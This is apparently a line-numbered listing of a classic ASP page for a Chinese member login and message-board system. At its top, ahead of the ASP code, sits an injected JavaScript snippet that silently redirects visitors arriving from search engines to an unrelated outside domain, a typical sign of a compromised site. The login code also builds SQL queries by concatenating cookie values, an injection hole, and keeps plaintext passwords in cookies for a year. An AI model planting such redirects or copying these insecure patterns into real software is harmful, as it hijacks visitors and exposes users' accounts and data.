d:\wwwroot\wuchunhua\liuyan\index.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@LANGUAGE="VBSCRIPT" CODEPAGE="936"
%
>
002:
<%
003:
'检查用户是否已经登陆,为真则直接进入系统主界面
004:
If Session("IsPassed") = EMPTY Or Session("IsPassed") = FALSE Then
005:
'检查Cookies,是否有保存的用户信息
006:
If Request.Cookies("RemMe") ="1" Then
007:
'存在Cookies信息,自动进行登陆操作
008:
UserName = Request.Cookies("Name")
009:
UserPass = Request.Cookies("Password")
010:
011:
Dim objConn, strSQL, objRS
012:
013:
'初始化数据库连接
014:
DB="./Board/database/BOARD.mdb"
015:
Set objConn = Server.CreateObject("ADODB.Connection")
016:
objConn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(DB)
017:
'打开数据库连接
018:
objConn.Open
019:
020:
strSQL = "Select * From MEMBER Where NAME='" & UserName & "'"
021:
strSQL = strSQL & " And PASSWORD = '" & UserPass & "'"
022:
Set objRS = Server.CreateObject("ADODB.Recordset")
023:
objRS.Open strSQL, objConn, 1, 3, 1
024:
025:
'是否存在这个用户
026:
If NOT objRS.EOF Then
027:
Session("Id") = CStr(objRS.Fields("ID"))
028:
Session("Name")=UserName
029:
Session("IsPassed")=TRUE
030:
Session("Class") = objRS.Fields("CLASS")
031:
'检索记录集不为空,说明用户名和密码输入正确
032:
'检查用户的级别
033:
If objRS.Fields("CLASS") = "1" OR objRS.Fields("CLASS") = "2" Then
034:
'该登陆用户为管理员
035:
Session("IsAdmin") = TRUE
036:
Else
037:
'该登陆用户为普通用户
038:
Session("IsAdmin") = FALSE
039:
End If
040:
041:
'更新Cookies
042:
Response.Cookies("Name") = UserName
043:
Response.Cookies("Password") = UserPass
044:
Response.Cookies("RemMe") = "1"
045:
Response.Cookies("Name").expires = Date + 365
046:
Response.Cookies("Password").expires = Date + 365
047:
Response.Cookies("RemMe").expires = Date + 365
048:
049:
Else
050:
'Cookies中的用户名或密码错误,返回login.asp要求重新登陆
051:
Response.Redirect "login.asp?ErrMsg=用户名或密码错误"
052:
Response.End
053:
End If
054:
055:
'关闭数据集和数据库连接
056:
objRS.Close
057:
Set objRS = Nothing
058:
objConn.Close
059:
Set objConn = Nothing
060:
Else
061:
'没有登陆,也不存在Cookies信息,返回login.asp要求先登陆
062:
'暂时不需要?
063:
' Response.Redirect "login.asp?ErrMsg=请先登陆"
064:
' Response.End
065:
End If
066:
End If
067:
%
>
068:
<html>
069:
<head>
070:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
071:
<title>系统主页面</title>
072:
<style type="text/css">
073:
<!--
074:
.style1 {
075:
font-family: Verdana, Arial, Helvetica, sans-serif;
076:
font-size: 14px;
077:
}
078:
.style2 {
079:
font-family:Verdana, Arial, Helvetica, sans-serif;
080:
font-size: 56px;
081:
}
082:
-->
083:
</style>
084:
</head>
085:
<body>
086:
<table width="750" border="0" align="center">
087:
<tr>
088:
<td align="center"><div class="style2">用户登录及管理系统</div></td>
089:
</tr>
090:
<tr>
091:
<td><hr size="2"></td>
092:
</tr>
093:
<tr>
094:
<td height="40"> </td>
095:
</tr>
096:
<tr>
097:
<td>
098:
<div align="center" class="style1">
099:
登陆成功!
100:
<%
101:
= Session("Name")
102:
%
>
103:
, 欢迎你的到来!
104:
<p>报错网页,缺货登记,第三方卖家服务商,供应商(淘宝有8000家)等等可以联系客服请打电话18316856928/13128708638,7天内必须解决和回复。
105:
<li><a data-email="wucunhua@21cn.com" href="mailto:wucunhua@21cn.com">点击就发邮件给:站长客服,就是mailto:wucunhua@21cn.com</a></li>
106:
</div>
107:
</td>
108:
</tr>
109:
<tr>
110:
<td height="40"> </td>
111:
</tr>
112:
<tr>
113:
<td> <div align="center" class="style1">
114:
<%
115:
If Session("IsAdmin") = TRUE Then
116:
%
>
117:
<a href="admin.asp">会员管理</a>
118:
<%
119:
End If
120:
%
>
121:
<a href="modify.asp?id=
122:
<%
123:
= Session("Id")
124:
%
>">修改信息</a>
125:
<a href="board/index.asp">进入留言板</a>
126:
<a href="logout.asp">退出登陆</a>
127:
<a href="http://www.1z88.com">回首页</a>
128:
129:
</div>
130:
</td>
131:
</tr>
132:
</table>
133:
<br>
134:
</body>
135:
</html>
136:
137: